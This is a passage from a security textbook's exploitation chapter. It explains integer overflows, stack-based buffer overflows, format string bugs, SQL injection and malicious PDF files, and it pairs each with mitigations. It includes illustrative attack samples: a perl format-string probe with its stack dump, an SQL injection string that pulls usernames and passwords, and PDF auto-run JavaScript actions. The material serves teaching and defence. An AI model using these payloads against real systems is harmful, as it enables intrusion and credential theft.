a result larger than the maximum expected value. An integer that
increases beyond its maximum value could result in a potential error
condition that attackers may exploit. Integer overflow occurs in signed
and unsigned integers. A signed overflow is the result of a value carried over to the sign bit.
Exhibit 3-5 shows an example of an integer overflow in an 8-bit
signed integer. The signed integer 126 (01111110) is incremented by
1, producing the resulting value of 127 (01111111). Incrementing 127
overwrites the sign bit, resulting in a negative value of −128 (10000000
in binary) instead of a positive value of 128, as would occur if the integer was unsigned.
126 01111110
127 01111111
–128 10000000
Exhibit 3-5â•… An 8-bit signed integer overflow.
+1
+1
254 11111110
255 11111111
0 00000000
+1
+1
Exhibit 3-6â•… An 8-bit unsigned integer overflow.
An unsigned overflow is the result of a value no longer representing a certain integer representation because it would require a larger
register width. The unsigned integer “wraps around” when an overflow occurs. An unsigned integer wrap-around occurs when a program receives a large input value that wraps the unsigned integer
back to zero or a small positive number (see Exhibit 3-6).
Exploits take advantage of integer overflows indirectly. It is
impossible to determine if an integer overflow has occurred without
understanding the code’s underlying arithmetic context. An example
of an integer overflow involves an arithmetic operation error using
a C and C++ standard library function called malloc. malloc() is for
allocating a block size of dynamic memory. An integer overflow can
cause malloc() to allocate less memory than required. malloc(int
size) takes a single integer as an argument that specifies how much
memory the function should allocate for the buffer it creates. The
arithmetic operation error typically occurs before the call to malloc(), and the result of the operation is used in the call to malloc().
Consider this example code in which multiplication and malloc()
are involved:
char *expand_string(char *string, size_t length) {
char *strresult = (char *)malloc(length*2+1);
strcpy(strresult, string);
}
This function takes one string and then copies it to a buffer that is
larger than the original string to make space for additional characters.
In the second line, the code takes the length input, multiplies it by
two, and adds one before calling malloc() to allocate the specified
amount of memory. If an attacker controls the value of the parameter
length and sets it to 0x80000000 (2,147,483,648 in decimal), an integer overflow will occur as malloc(0x80000000*2+1) becomes malloc(1). 0x80000000*2 returns 0 because the leftmost bit of the result
shifts out of the value. Only one byte of memory was allocated, but
all of the data in the input string will be copied to that buffer by the
E x p l o itati o n
12 7
strcpy() function. This will result in a buffer overflow that an attacker
could use to execute arbitrary code on the system.8
The vulnerable code is missing one step that programmers frequently forget: input sanity checks. This function should include one
additional step that ensures the input length value is not so large
that it will overflow after the arithmetic operation is performed.
Integer operation errors also include sign and truncation errors. In
sign errors, the sign flaw occurs due to the ignoring of the sign bit
in the conversion of an integer. In truncation errors, an integer value
truncates while being cast to a data type with fewer bits. Consider
the following example:
int i = -3;
unsigned short int j;
j = i; // j = 65533
First, the code declares i as an int (a signed integer type) and
assigns it the value of −3. Next, it declares j as an unsigned short
integer, a variable that can only represent positive integers. When a
signed integer of a negative value converts to an unsigned integer of
greater value, the most significant bit loses its function as a sign bit.
The result is that j is not set to −3, but rather to 65,533, the unsigned
representation of −3.
Most integer errors are type range errors, and proper type range
checking can eliminate most of them. Many mitigation strategies are
available that apply boundary checking on integer operations. Some
of these include range checking, strong typing, compiler-generated
runtime checks, and safe integer operations. Range checking involves
validating an integer value to make sure that it is within a proper
range before using it. A programmer could add a line in the code
to check if the length of an integer is greater than 0 or less than the
maximum length before going to the next line of code. This strategy
is effective but relies on the programmer to make good choices when
writing the potentially vulnerable function.
Strong typing involves using specific types, making it impossible to
use a particular variable type improperly. A programmer can declare
an integer as an unsigned char to guarantee that a variable does not
contain a negative value and that its range is within 1 to 255. This
strategy also relies on programmers to make good decisions when
choosing variable types. Compiler-generated runtime checks involve
using compiler flags when compiling a program. These flags instruct
the compiler to add additional code to the program that checks if an
integer is going to overflow and will throw an error when this occurs.
Unfortunately, these functions can also contain errors, as is the case
with the GCC–ftrapv flag.9
Safe integer operations involve using safe integer libraries of programming languages for operations where untrusted sources influence
the inputs. SafeInt10 and RCSint classes are available for C++ and
provide useful templates to help programmers avoid integer overflow
vulnerabilities. These classes contain automatic checking of common
operations that throw exceptions when overflows occur rather than
silently failing. Integer overflows are most common in C and C++
programs. They can occur in other languages, but do so much less frequently, since many languages do not allow low-level access to memory like C and C++. Some languages like Java, Lisp, and Ada provide
runtime exceptions in cases that would lead to buffer overflows in C
and C++. As of May 13, 2009, the National Vulnerability Database11
reported forty-five CVE matching records for integer errors in the
past three months and 333 matching records with high-severity ratings for integer errors in the past three years. While not as common
as buffer overflows, it is clear that integer overflows remain a common
and severe threat.
3.1.3â•‡ Stack-Based Buffer Overflows
In this section, we will explore the concept of stack-based buffer overflows. At the core of any overflow is the lack of boundary consideration. More precisely, overflows are the result of a finite-sized buffer
receiving data that are larger than the allocated space. Stack-based
buffer overflows are by far the most common type of overflow, as they
are generally the easiest to exploit. To understand this, the reader must
first understand the mechanics of the stack in Intel-based computers.
3.1.3.1â•‡ Stacks upon Stacksâ•… At a high level, the standard computer stack
consists of an array of memory bytes that a programmer can access randomly or through a series of pop-and-push commands. Computer scientists classify stacks as last-in-first-out (LIFO) structures, meaning
E x p l o itati o n
Variable D
Stack Growth
Stack Pointer
12 9
Variable C
Variable B
Variable A
Called Function’s
Stack Space
Saved Base Ptr
Base Pointer
Return Address
Calling Function’s
Stack Space
(Including Any Passed
Parameters)
Stack Space
Exhibit 3-7â•… A typical stack layout.
that the last datum added (or “pushed”) to the stack is the first datum
pulled (or “popped”) from the stack. In the Intel implementation of
a stack and various other processor platforms, local functions use the
stack for temporary variable storage, parameter passing, and code flow
execution management. Exhibit 3-7 illustrates the typical layout for
an Intel stack used to call a function and the called function.
The Intel x86 processor uses two special registers for stack management: the stack pointer (ESP) and the base pointer (EBP). The
processor uses the stack pointer to specify the memory address of
the last memory pushed onto the stack and the location to use when
popping the next datum from the stack. While the size of the datum
can be a byte, a word, a 32-bit DWORD, or a 64-bit QWORD value
(for 64-bit processors), the most common convention is a DWORD
stack access, since pointers and integers are typically 32 bits in size.
The called function normally uses the base pointer to point to the
original stack pointer location immediately after the function begins.
Known as setting up a stack frame, the function uses the EBP to provide a fixed reference point by which it accesses the stack variables.
The EBP becomes critical when using the stack frame, as the ESP
floats with each push-and-pop off the stack from subsequent function calls (from the perspective of the original called function). After
the function assigns the EBP and the value of ESP immediately after
the function begins, the function will adjust ESP to accommodate
the necessary memory space for local variables used by the function.
This movement of the ESP will place the pointer at the end of the
local variable data.
Once the calling function has completed, the function resets the
stack pointer to the original location, as specified by the base pointer.
The processor, upon seeing the “return” instruction that terminates
the function, pops the return address from the stack, as pointed to by
the ESP. The processor uses this address as the location of the next
instruction to execute. This fact, alone, represents the major target of
most stack-based buffer overflows.
3.1.3.2â•‡ Crossing the Lineâ•… Stack-based buffer overflows occur when a
function passes more data to a stack variable than the variable can
hold. The objective in writing stack-based buffer overflows is to control the flow of code execution and execute potentially malicious code
by adding more data than a variable can hold. The most common way
this type of attack works is by finding a buffer on the stack that is close
enough to the return address and attempting to place enough data in
the buffer such that the attacker can overwrite the return address. If
successful, the attacker can then influence the next instruction that
the processor executes. As seen in Exhibit 3-8, an attacker has managed to fill the buffer (Variable C) with a sufficiently large data stream
so that the attacker has overwritten Variables A and B, the saved base
pointer, and the return address with the attacker’s values. As a result,
the processor uses the values specified in the original location of the
Variable D
MALICIOUS DATA
Base Pointer
Replaced Return Address
Stack Space
(Including Any Passed
Parameters)
Exhibit 3-8â•… Overflowing a stack buffer to control the return address.
Stack Pointer
E x p l o itati o n
131
return address upon the completion of the function. The processor,
unaware of the data’s validity, will attempt to execute the instructions
at this location. This allows the attacker who filled Variable C with
the oversized data to directly influence the flow of code execution.
Simply filling a stack buffer with data and overwriting the return
address are not enough for attackers to run arbitrary code on victims’
computers successfully. Controlling the return address is only one
part of a successful stack-based buffer overflow. Attackers still need
ways to run their own codes on victims’ computers. Many, if not all,
attackers approach this problem by sending specially constructed data
to the vulnerable buffer. Known as shell code, attackers construct the
data sent to the vulnerable buffer such that the first portion of the data
contains what attackers call a no-operation-performed (NOP) sled,
which is an array of NOP instructions. This portion of the shellcode
is optional, but allows attackers to miss their marks when effecting
code execution. If attackers can get processors to execute malicious
code somewhere within the NOP sled, those processors will not jump
into the middle of valid instructions that can cause the flow of execution to deviate drastically from the attackers’ original intents. The
actual malicious code follows the NOP sleds. Known as the payload
of the shellcode, this section of data contains the malicious code that
attackers desire to execute. The values for the return addresses follow
the payload. Exhibit 3-9 displays the makeup of a typical shellcode
data stream. A successful shellcode will allow attackers to control the
return addresses and point the return addresses to memory locations
that will allow those attackers to begin executing either instructions
NOPs
Malicious Instructions
Return Address
Exhibit 3-9â•… Anatomy of a typical shellcode structure.
in the NOP sleds (which then run into the first instruction of the payload) or very specific bytes of the payloads. The results are, of course,
the execution of arbitrary code on victims’ computers.
3.1.3.3â•‡ Protecting against Stack-Based Buffer Overflowsâ•… Without excep-
tion, the root cause of any stack-based buffer overflow is the lack of
bounds checking when accepting input. Buffers allocated on a stack
are of finite, predetermined sizes, and as such, it is up to the programmer to ensure that the function copying data into them is within this
size constraint. Generally, a program should validate any data taken
from an external source (external from the perspective of the application) for both size and content; user-supplied data should never be
trusted outright.
Compilers have begun using an additional built-in technique to
aid in protecting bad programmers from themselves when it comes to
stack-based buffer overflows. Compilers, such as Microsoft’s Visual
C++ 2005 and 2008, use a technique known as stack cookies to ensure
that overflowed variables in a stack do not result in a processor using
an invalid return address. The technique consists of placing a randomized 32-bit value immediately before the return address on the
stack. Before the function terminates, it compares the value on the
stack to the original value from the start of the function. If the two
values do not match, the program terminates due to a security violation. By preventing the function from returning, the processor never
executes the modified return address, and as such, the malicious code
does not execute.
Stack cookies do help mitigate the problems associated with stackbased buffer overflows, but they do not provide an excuse for programmers to avoid secure programming techniques.12 Ultimately, it is
the responsibility of the programmer to write secure code to prevent
stack-based buffer overflows.
3.1.3.4â•‡ Addendum: Stack-Based Buffer Overflow Mitigationâ•… The previ-
ous section described how stack-based buffer overflows work. The
mitigation section focused on tips for programmers to avoid writing
code that contains these vulnerabilities but did not mention technologies designed to mitigate the threat that have recently been added to
operating systems and computer hardware.
E x p l o itati o n
13 3
Data execution prevention (DEP) is a feature built into modern processors, and which Windows can take advantage of to mark
certain areas of memory (like the stack) as nonexecutable, making
it much more difficult to exploit a buffer overflow. Certain thirdparty software, like antivirus programs, also offer buffer overflow
prevention (BOP) technology that performs a similar function by
monitoring process memory and alerting the user when the processor executes memory that should only contain data. Address space
layout randomization (ASLR) is a feature of Windows Vista and the
Linux 2.6 kernel that makes the OS load system libraries in random
locations each time the computer boots, making it more difficult to
write shell code that can do something useful once the attacker has
exploited overflow.
3.1.4â•‡ Format String Vulnerabilities
This section discusses vulnerabilities in the printf print formatting
and similar functions. These vulnerabilities put the stack, a critical
component of program execution, at risk for corruption. Despite this
type of vulnerability being first reported in 2000, iDefense rarely sees
exploit code using this type of vulnerability to install malicious code
or compromise servers. Nevertheless, exploit developers release many
format string vulnerabilities each year, and these vulnerabilities continue to present a threat to application security.
The printf C function (short for print-formatted output) normally
prints output to the screen. It accepts a parameter that allows a
programmer to specify how the function should attempt to interpret the string. For example, the programmer may want to print the
character A, the value of A as the number 65, or the hex representation of A, which is 0x41. For these reasons, printf() accepts its first
parameter, format.
int printf(const char *format, ...)
The format is a string that accepts strings as %s, decimal numbers
as %d, or hex values as %x. The %n format specifies an important
component to exploit format string vulnerabilities because it allows
the printf function to write to an arbitrary memory location with the
number of bytes written so far. The “...” parameter is a way in the
C programming language to accept an unknown number of parameters using a va_list structure to store them. Normally, a compiler
will compare the number of parameters that a function accepts to the
function definition to prevent programming mistakes; however, the
printf function and other similar functions accept different numbers
of parameters depending upon the format string itself. Using only one
parameter to printf can create a vulnerability if a user can influence
that parameter. Again, the format parameter can accept many different formats such as strings (%s), decimal numbers (%d), or hex values
(%x). A legitimate call might look like this:
string = “hello”;
decimal = 1234;
printf(“%s : %d”, string, decimal); // Three
parameters total
This would print out the following:
“hello : 1234”
To do this, the program pushes the parameters onto the stack before
calling the printf function (see Exhibit 3-10).
Then, the printf function utilizes the %s : %d format to determine how many variables it should remove from the stack to populate the values. To execute a simple attack, malicious actors compile
a very simple C program, format_string_vulnerable, that accepts
Local Variables and Function Calls
1234 (Decimal Value)
“hello” (String Value)
“%s : %d” (Format String)
Saved Base Ptr
Base Pointer
Stack Growth
Stack Pointer
Called Function’s
Stack Space
Return Address
Stacked Space of Function
That Calls printf
Exhibit 3-10â•… A stack diagram of a legitimate call to printf.
Stack Space
E x p l o itati o n
13 5
command-line arguments and passes them directly to the format
parameter as follows:
printf(input);
The command below uses Perl to print AAAA followed by a format
string that instructs printf to show eight digits of precision in hex
representation (%x) and to do this repeatedly.
$ ./format_string_vulnerable `perl –e ‘print “AAAA”;
print “%.8x”x 100’`
AAAA.00000400.080485d0.bf930e66.
b7fec1b5.00000008.00000088.b7ff2ff4.bf92fe54.b7fec29c.
b7fd85fc.42fd8298.41414141.382e252e.2e252e78.252e7838.
2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.
78382e25.382e252e
By using the AAAA input (0x41414141 in hex above), the attacker
can identify where in the stack the string is located and attempt to
identify the value that represents the return address. The stack layout
for this attack only supplies a format string and no additional parameters (see Exhibit 3-11).
Normally, the stack would contain a variable for each %.8x in the
format string; however, in this attack, the format string will cause
the function to begin utilizing other stack contents, and if there are
enough % symbols in the format string, it will eventually disclose the
location of the return address.
When the user can control the format parameter, he or she can
specify a format that removes extra data from the stack in this manner. It allows the user to view the contents of memory because he
or she can specify any number of variables in the format string. The
program may crash because, normally, printf() will push the same
Stack Pointer
Local Variables and Function Calls
User-supplied
Format String
“AAAA%.8x%.8x%.
8x%.8x”
(repeat “%.8x”)
Saved Base Ptr
Base Pointer
Return Address
Exhibit 3-11â•… A stack layout for a simple attack with a single format parameter to printf.
\×90 \×90 ...
Binary Data
%s %d %x %n
NOP Sled
Executable Code
Format String
Exhibit 3-12â•… The format of user-supplied data to exploit a format string vulnerability.
number of items onto the stack as the number that it removes from
the stack. Any data saved onto the stack no longer contain valid information, including the base pointer and return address of the stack
frame. The %n is a key component to gaining code execution through
format string vulnerabilities because it allows an attacker not only
to print data but also to write data to the stack. Using %n allows the
attacker to take control of the base pointer or return address, thereby
allowing him or her to jump to any address chosen. If the attacker
specifies binary shellcode within his or her format string, and then
overwrites the base pointer or return address to jump to that location,
the attacker will gain arbitrary code execution. Exhibit 3-12 displays
an example of an attack using a user-supplied format string.
In the attack shown in Exhibit 3-12, the attacker must print an
exact number of bytes so that when he or she uses %n to overwrite the
return address, it overwrites the return address with any address in
the range of the NOP sled section. In this way, the entire executable
code section of the user’s input will execute.
Format string vulnerabilities are as dangerous as buffer overflows
or other remote code execution vulnerabilities. Attackers commonly
release proof-of-concept code detailing how to exploit the vulnerabilities. Przemysław Frasunek first disclosed this category of vulnerability
in June, 2000, on the BugTraq mailing list and the report describing the attacks by Tim Newsham. Since its public disclosure, exploit
developers have released many public exploits each year. Despite the
availability of exploits, the iDefense Rapid-Response Team rarely
encounters format string exploits that install malicious code or
attempt to compromise servers. One historical instance is the Ramen
Worm of January 2001, which used three vulnerabilities to spread,
one of which was a format string vulnerability.13 Similarly, iDefense
Managed Security Services rarely (if ever) encounters network alerts
based upon format string vulnerabilities, despite the presence of many
vulnerabilities and network-based rules to detect those attacks. Of
E x p l o itati o n
13 7
those alerts that mention a variation of format string in the messages,
most are probes or attempts to gain information about the software
rather than exploits that try to execute a malicious payload. While
format strings are very dangerous, it is unclear why malicious code
authors exploit other vulnerabilities so much more prevalently. One
possible explanation is that format string attacks are more prevalent in
open source software because attackers can audit the source code. As
evidence, most of the historical format string vulnerabilities disclosed
on the exploit site milw0rm.com is for open source software.
Fixing calls to printf() is easy if programmers can recompile the
source code of a program. For example, to fix a dangerous call of the
form printf(input), programmers must pass the input variable with a
string (%s) format instead, such as printf(‘%s’, input). This prevents
user input from affecting the format string; therefore, an attacker will
be unable to affect the stack or other memory. Most compilers provide warnings to encourage good programming habits and prevent
format string vulnerabilities. Additionally, checks at runtime can help
prevent the abuse of format string vulnerabilities by verifying that an
attacker did not corrupt the stack. Additionally, stack randomization
and nonexecutable stacks make it more difficult for attackers to execute code reliably. Other vulnerable functions that utilize the va_list
structure are more difficult to identify, but are easy for programmers to
fix once they identify the vulnerabilities. Replacing the printf library
and similarly vulnerable libraries to perform more runtime checking
of parameters is a necessary step when managing all vulnerabilities of
this form. Performing source code analysis can also identify vulnerable calls because the pattern of function calls is easy to identify.
Printf vulnerabilities and format string vulnerabilities are a problem of communication between the API programmer who built the
C libraries (and any other vulnerable functions) and the programmer who utilizes the library. To solve this problem effectively, either
API programmers must sacrifice performance to perform additional
runtime checks or programmers must always call functions properly.
The stack is a vital component of program execution, and its corruption is at risk. Many functions in the printf family are vulnerable to
this type of attack. Programmers should also evaluate other functions that depend upon va_list structures because they can contain
vulnerabilities similar to format strings, depending upon their purpose and implementation.
3.1.5â•‡ SQL Injection
This section looks at structured query language (SQL) injection
attacks. These attacks, which result from failing to validate user
inputs, have increased in prevalence in the past several years and now
often target thousands of sites at a time. Attackers often use search
engines to identify vulnerable sites, and then use SQL injection to
alter the content of the site to include malicious IFrames, or otherwise
download malicious code to Web surfers who visit the compromised
sites. SQL injection is simple for attackers to conduct and for developers to protect against, often by using prepared statements or otherwise
validating user-submitted strings.
One of the most common and dangerous vulnerabilities in Web
applications is structured query language (SQL) injection. SQL injection is fundamentally an input validation error. These vulnerabilities
occur when an application that interacts with a database passes data to
an SQL query in an unsafe manner. The impact of a successful SQL
injection attack can include sensitive data leakage, website defacement, or the destruction of the entire database.
SQL is a computer language that allows programs to interact with
relational databases like MySQL and Microsoft SQL Server. To
retrieve, insert, or update information in the database, a programmer
must craft a query that accesses the correct data to achieve the desired
result. The simplest query involves selecting a piece of information from
a table. For instance, a database supporting a blog might contain a table
that stores data related to the entries in the blog. To retrieve the text of
each blog entry, a programmer might execute the following query:
SELECT text FROM blog_entries;
This query will return the data in the “text” column for each of the
rows in the blog_entries table. Of course, this query is not very useful
because we probably want to display a specific blog or subset of all of
the entries rather than every blog in the database.
SELECT text,user,timestamp FROM blog_entries WHERE
user = ‘user1’;
E x p l o itati o n
13 9
This query is more complex. It still retrieves the text of the blog entry,
as well as the name of the user who wrote it and the time of publication. It also includes a WHERE clause that specifies that the returned
data should only include blogs with the user’s name user1.
To achieve this, we might create a dynamic query that can accept
information from a program, like a Web application. Programmers
normally do this through a high-level language such as PHP, Perl,
or ASP. The following pseudocode shows how a programmer might
accomplish this:
#Get Username
username = getInputFromUser()
#Create SQL Query containing username
sql_query = “SELECT text,user,timestamp FROM blog_
entries where user = ‘“ +
username + “‘;”
#Execute complete query
database.execute(sql_query);
First, the program acquires the username that it should search for
from the user, commonly through a Web search form or URL variable. Next, the program adds the username to the query by concatenating the two sections of the query with the username. Finally, the
program executes the fully formed query in the database to retrieve
the results. This type of dynamic query is vulnerable to SQL injection
attacks because it does not properly validate the input provided by the
user. Exhibit 3-13 shows how this query is constructed, with the query
text in light gray and the data supplied by the user in dark gray.
An attacker can exploit this query by providing input that the database does not know it should treat as data and treats as SQL code
instead. Exhibit 3-14 shows how the data supplied to the query might
completely change its function.
SELECT text, user, timestamp FORM blog_entries where user = ‘
userl
’;
Exhibit 3-13â•… Proper data provided to a structured query language (SQL) query.
SELECT text, user, timestamp FORM blog_entries where user = ‘
Exhibit 3-14â•… An SQL injection attack.
x’; SELECT uname, pwd from users; --
’;
In this case, the attacker provided the following string in place of
the username variable:
x’; SELECT uname,pwd FROM users; --
This string begins with the character x followed by a single quote
and a semicolon. The single quote ends the data string, and the semicolon tells the database to execute the query so far. This probably will
not return any information unless there is a user named x. The database will then process the rest of the query, which selects the columns
“uname” and “pwd” from the table named “users.” This query will
return a list of all usernames and passwords in the database. Finally,
the string terminates with “--”, which declares the rest of the line
as a comment that will not be executed. This SQL injection attack
forces the database to return sensitive information (usernames and
passwords) rather than the expected blog data.
This attack accesses sensitive information but could just as easily
modify the database to include malicious content using an UPDATE
command, or destroy the entire database using a DROP command.
Since early 2007, attackers have launched very widespread SQL injection attacks on websites that update the database to include malicious IFrames in the text. When the server displays this text in a
Web page, those IFrames attempt to infect unsuspecting visitors. This
attack effectively changes a website the user expects to be safe into a
malicious one using SQL injection.14
3.1.5.1â•‡ Protecting against SQL Injectionâ•… Protecting against SQL injec-
tion attacks requires ensuring that data used in an SQL query are valid
and will not be executed by the database engine. Programmers normally accomplish this through two possible methods. With the first
method, programmers can try to ensure that the data do not include
any special characters such as single quotation marks that might cause
the database to treat data as code. Many languages provide a function that performs this task. The most commonly known is PHP’s
mysql_real_escape_string.15 This function “escapes” special characters
by placing a backslash in front of them, causing the database to treat
them as data and not execute them. An alternative technique to sanitizing user input is to only allow good data into the application rather
than escaping bad data. For instance, database fields that should only
E x p l o itati o n
141
contain letters and numbers are validated using regular expressions
that match those characters before using the data in the SQL query.
The second method involves the use of parameterized queries.
Parameterized queries allow the programmer to define a query and
pass data into it without performing dangerous string concatenation.
The following pseudocode shows how programmers can use parameterized queries to make the code shown in the previous section safe
from SQL injection.
#Get Username
username = getInputFromUser()
#Create the Parameterized Query using the %s format
string.
sql_query = “SELECT text,user,timestamp FROM blog_
entries where user = %s;”
#Execute the parameterized query, specifying the data
separately
database.execute(sql_query, (username));
With parameterized queries, the database is aware of what is code and
what is data and can avoid SQL injection based on that knowledge.
Unfortunately, this facility is not available in all programming languages and, as such, cannot protect every application.
When organizations lack the ability or resources to audit and
test for SQL injection vulnerabilities in their Web applications,
a Web Application Firewall (WAF) may be an alternate solution. ModSecurity is an open source WAF that can act as a reverse
proxy, sitting between a Web server and the Internet to filter incoming requests for SQL injection and other types of attacks.16 A list of
commercial and open source WAFs is available from the Open Web
Application Security Project (OWASP).17
Users of Microsoft’s ASP.net Web-programming language should
consult the extensive guide produced in 2005 that details techniques
and strategies for avoiding SQL injection.18
3.1.5.2â•‡ Conclusionâ•… SQL injection attacks have become incredibly
common in recent years. Automated attacks launched by botnets
continuously scan the Internet for possibly vulnerable Web pages and
attempt to compromise them. It is vital to protecting the integrity of
a database that the queries executed on it contain properly validated
data that will not be mistakenly treated as code.
The defenses against SQL injection attacks are simple to implement
but often overlooked by novice programmers or those looking to stand
up a website quickly. When possible, administrators should test both
homegrown and commercial off-the-shelf (COTS) Web applications
for SQL injection vulnerabilities. OWASP provides a guide to testing
applications and other valuable information on SQL injection vulnerabilities through their website.19 When this testing is not possible,
administrators should consider deploying a WAF to provide generic
protection against SQL injection and other attacks on Web servers.
3.1.6â•‡ Malicious PDF Files
Portable document format (PDF) files are so common that users often
do not realize the potential danger they pose. Adobe Acrobat is a
commonly installed application on all Microsoft Windows computers. The PDF file format is risky because many users have vulnerable
PDF viewers installed that attackers can exploit to install malicious
code. Attackers also commonly use PDF files to launch targeted
attacks because they can often convince victims to open a PDF file
to install malicious code. Multiple previously unknown or unpatched
PDF vulnerabilities have allowed attackers to launch targeted attacks
against high-priority victims as of 2009.
To make matters worse, Web browsers load PDF files automatically, so a malicious PDF file can exploit a user’s computer without
any interaction once the user visits a malicious website. Commercial
Web attack toolkits commonly incorporate PDF exploits because
PDF viewers are widely installed, and attackers can influence many
different browsers, including Internet Explorer and Firefox.
Malicious PDF files usually contain JavaScript, but many exceptions exist that execute arbitrary code without JavaScript. Attackers
commonly use JavaScript because the instructions can allocate large
blocks of memory (heap spraying), which allows an attacker to reliably
jump to certain addresses upon gaining control of execution through
a vulnerability. Attackers also rely on JavaScript to hide the intent of
their code because they can use eval() or similar functions to dynamically execute statements when the JavaScript code runs.
E x p l o itati o n
PDF Headers
Object 1
xref
04
000000000 65535 f
offsetObject1 00000 n
Object 2
Object 3
xref Table
14 3
ojb 2 0
<< /AttributeA value /AttributeB >>
stream
...
endstream
endobj
PDF Trailer
Exhibit 3-15â•… Structure of a PDF file.
3.1.6.1â•‡ PDF File Formatâ•… The format of a PDF file is largely based
on plain text tags, although many stream objects use compression.
Opening a PDF file within a hex editor shows objects that are numbered 1 0 obj, for example. Other sections of the PDF file can reference these objects by number (see Exhibit 3-15).
Each object has attribute tags that describe its purpose. The obj,
endobj, stream, and endstream tags correspond with the beginning
and end of each section, and each attribute starts with “/”. The crossreference (xref) table contains entries corresponding to the file offset
for each object. One common attribute for data in PDF files is the /
FlateDecode attribute, which the viewer decompresses with the zlib
library; object 14 is shown here:
14 0 obj
<</Length 838 /Filter /FlateDecode>>
stream
… zlib compressed binary data …
endstream
endobj
Malicious PDF files often contain malicious JavaScript code that
analysts can inspect after decompressing the zlib data. To instruct the
PDF viewer to execute the JavaScript code upon opening the file, the
author must also assign an action to the object similar to one of the
following examples:
<</Type/Action/S/JavaScript/JS 14 0 R >>
<</OpenAction <</JS (this.wBx9J6Zzf7)
/S /JavaScript
The Action attribute specifies that the PDF reader should execute
the JavaScript code in object 14. The /OpenAction attribute can call
the JavaScript function wBx9J6Zzf7(), which the PDF file defines in a
different object. The PDF file format also allows incremental changes
without modifying the original file. For each modification, the application appends a changes section, xref section, and trailer section. As
a result, a PDF file may grow large if the author repeatedly updates it.
More information on the PDF file format and JavaScript functionality is available from Adobe.20
The Adobe JavaScript engine exposes several PDF-specific objects,
including app, doc, dbg, console, global, util, dialog, security, SOAP,
search, ADBC, and event objects.21 It also exposes some online
collaboration commands for review, markup, and approval. These
exposed objects are often the areas of vulnerability that attackers have
exploited in the past.
3.1.6.2â•‡ Creating Malicious PDF Filesâ•… Many of the most common Web
exploit toolkits include one of the following recent PDF exploits:
CVE ID
2007-5659
2008-2992
2009-0927
2009-1493
2009-1492
VULNERABLE JAVASCRIPT
FUNCTION
collab.collectemailinfo
util.printf
collab.geticon
spell.customDictionaryOpen
getAnnots
All of these vulnerabilities commonly use JavaScript exploits to
execute arbitrary code. Exactly how attackers build these malicious
PDF files is unknown; however, there are several public tools available to embed JavaScript within PDF files and decode PDF files.
Adobe publishes some advanced commercial tools for modifying and
creating PDF files; however, attackers are more likely to use their
own tools or freely available tools due to the simplicity of the PDF
file format. The origami Ruby framework 22 allows users to generate malicious PDF files by supplying their own malicious JavaScript.
The origami framework can modify an existing PDF file by injecting custom JavaScript code that executes when users open the PDF
file. PDF tools like make-pdf, pdf-parse, and pdf-id are also available
and have similar functionality.23 JavaScript deobfuscation tools are
often necessary to understand the full purpose of JavaScript code contained within PDF files because authors commonly use obfuscation
techniques. Tools like jsunpack-n 24 use PDF decoding and JavaScript
E x p l o itati o n
14 5
interpreters to understand the purpose of JavaScript code contained
within PDF files.
Other means of embedding malicious content exist. For example,
Adobe added an embedded Flash interpreter as a new feature in Adobe
Reader 9.25 iDefense has analyzed targeted attacks that embed malicious Flash objects within PDF files. 26 The ability to send malicious files
embedded in PDF files increases the attack surface of PDF viewers.
The high number of vulnerabilities in Adobe Acrobat and the high
number of attacks that use those new vulnerabilities should be of great
concern for system administrators. Many actions that administrators
should take will reduce the effectiveness of attacks. Administrators
should put these measures in place because there are many instances
of attackers exploiting these vulnerabilities before Adobe releases
updates to vulnerable products.
3.1.6.3â•‡ Reducing the Risks of Malicious PDF Filesâ•… Disabling JavaScript
in the PDF reader is one way to limit the effectiveness of many
exploits (Preferences → JavaScript → Uncheck Enable Acrobat
JavaScript). This limits the effectiveness of PDF vulnerabilities that
attackers incorporate into Web exploit toolkits. PDF vulnerabilities
that do not depend on JavaScript will still be effective. For example, a Flash file in Adobe Reader 9 can still load without JavaScript.
Attackers may also be able to trigger the same vulnerabilities that
typically use JavaScript without JavaScript. One caveat of disabling
JavaScript in this manner is that a user may still execute the malicious JavaScript code. Whenever a PDF contains JavaScript and the
viewer has the configuration option to disable Acrobat JavaScript, the
message seen in Exhibit 3-16 appears. This prompt gives the user the
ability to execute JavaScript code despite disabling it in the configuration, and users must select the correct option to prevent infection
Exhibit 3-16â•… Adobe Reader allows users to enable JavaScript, even when they disable it.
from a malicious PDF file. Normally, selecting “No” has no negative impact on the behavior of the PDF file. Administrators can also
configure Adobe Acrobat to disable embedded Flash files and other
media files. In the “Preferences → Multimedia Trust (legacy)” menu,
uncheck “Allow multimedia operations” for both trusted documents
and other documents.
Disabling both JavaScript and multimedia is still ineffective against
certain less common vulnerabilities that do not use JavaScript or media
files. Examples like the JBIG2 Encoded Stream Heap Overflow
Vulnerability (CVE-2009-0928), which attackers used in targeted
PDF attacks before Adobe patched it, show that other vulnerabilities
exist that administrators must also consider.
Preventing PDF files from loading in the Web browser can reduce
the risk of users loading malicious PDF files. Since many of them
silently embed PDF files, disabling add-ons that load PDF files will
prevent files from automatically loading in the browser. Most of the
PDF exploits in malicious tools embed an invisible object or redirect users from another separate page. Victims often do not always
purposely open the malicious PDF files since the browser can load
them automatically. Administrators should remove the ability of the
browser to open embedded PDF files automatically, which forces
users to manually open each PDF file. This measure reduces the likelihood that a user will open a malicious PDF file, which attempts to
open without user consent. In Firefox, users can disable the Adobe
Acrobat add-on. In Internet Explorer, administrators can disable addons via Tools → Manage Add-ons → Enable or Disable Add-ons (see
Exhibit 3-17).
iDefense tested removal procedures in Internet Explorer 7 and identified that disabling both the browser helper object (AcroIEHelper.
dll) and ActiveX control (AcroPDF.dll) did not prevent the PDF file
from loading when embedded in a Web page with an IFrame. To fully
remove the capability to automatically open PDF files, it was necessary to also remove the PDF file type from the Folder Options menu
(Tools → Folder Options → File Types).
PDF conversion tools are another effective way to limit the impact
of attacks. Administrators may choose to use tools such as the Linux
command-line utility “pdftotext,”27 which converts a PDF file to plain
text. While this conversion tool removes many of the useful features
E x p l o itati o n
14 7
Exhibit 3-17â•… Disabling an Adobe PDF browser helper object and ActiveX control.
(visual components, media files, and interactive features) of PDF files,
administrators may prefer other conversion tools that preserve more of
the PDF file format.
3.1.6.4â•‡ Concluding Commentsâ•… Attackers often use malicious PDF
files to target victims, whether in targeted attacks or when attacking
the browser. Attackers can modify any existing PDF file to append
malicious content; therefore, every PDF file may contain malicious
content regardless of how much the user trusts the content. To reduce
the risks of malicious PDF files executing arbitrary code, administrators can eliminate some of the common dependencies that malicious
